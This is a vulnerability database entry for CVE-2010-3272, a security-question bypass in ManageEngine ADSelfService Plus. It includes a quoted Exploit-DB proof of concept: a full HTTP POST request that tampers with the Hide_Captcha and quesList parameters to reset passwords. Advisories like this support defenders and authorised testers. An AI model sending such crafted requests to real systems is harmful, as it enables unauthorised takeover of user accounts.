CVE-2010-3272
Description
accounts/ValidateAnswers in the security-questions implementation in ZOHO ManageEngine ADSelfService Plus before 4.5 Build 4500 makes it easier for remote attackers to reset user passwords, and consequently obtain access to arbitrary user accounts, via a modified (1) Hide_Captcha or (2) quesList parameter in a validateAll action.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
ManageEngine ADSelfService Plus 4.4 - POST Manipulation Security Question
source: https://www.securityfocus.com/bid/46331/info
ManageEngine ADSelfService Plus is prone to multiple vulnerabilities, including multiple security-bypass and cross-site scripting vulnerabilities.
Attackers can exploit these issues to bypass certain security restrictions and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help them steal cookie-based authentication credentials and launch other attacks.
ManageEngine ADSelfService Plus 4.4 is vulnerable; other versions may also be affected.
POST /accounts/ValidateAnswers?methodToCall=validateAll HTTP/1.1
Host: SERVER
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.example.com/accounts/ValidateUser
Cookie: JSESSIONID=8F93EB242EF06C51BE93EB0CEDA69085
Content-Type: application/x-www-form-urlencoded
Content-Length: 294
loginId=1501&Hide_Captcha=0&POLICY_ID=1&Confirm_Answer=1&SESSION_EXPIRY_TIME=5&LOGIN_NAME=alice&REM_SESSION_TIME=00%3A40&bAns=11111&bQues=PreDefined-2&bAns=22222&bQues=PreDefined-3&bAns=33333&bQues=PreDefined-4&bAns=44444&bQues=PreDefined-5&quesList=4&DIGEST=qodpgd&next=Continue&DIS_ALL_QUES=1Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| zohocorp | manageengine_adselfservice_plus | {"endIncluding":"4.4"} | |
References
- http://secunia.com/advisories/43241
- http://securityreason.com/securityalert/8089
- http://www.coresecurity.com/content/zoho-manageengine-vulnerabilities
- http://www.osvdb.org/70870
- http://www.securityfocus.com/archive/1/516396/100/0/threaded
- http://www.securityfocus.com/bid/46331
- http://www.vupen.com/english/advisories/2011/0392
- https://exchange.xforce.ibmcloud.com/vulnerabilities/65350
- http://secunia.com/advisories/43241
- http://securityreason.com/securityalert/8089
- http://www.coresecurity.com/content/zoho-manageengine-vulnerabilities
- http://www.osvdb.org/70870
- http://www.securityfocus.com/archive/1/516396/100/0/threaded
- http://www.securityfocus.com/bid/46331
- http://www.vupen.com/english/advisories/2011/0392
- https://exchange.xforce.ibmcloud.com/vulnerabilities/65350
CWEs
CWE-20
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.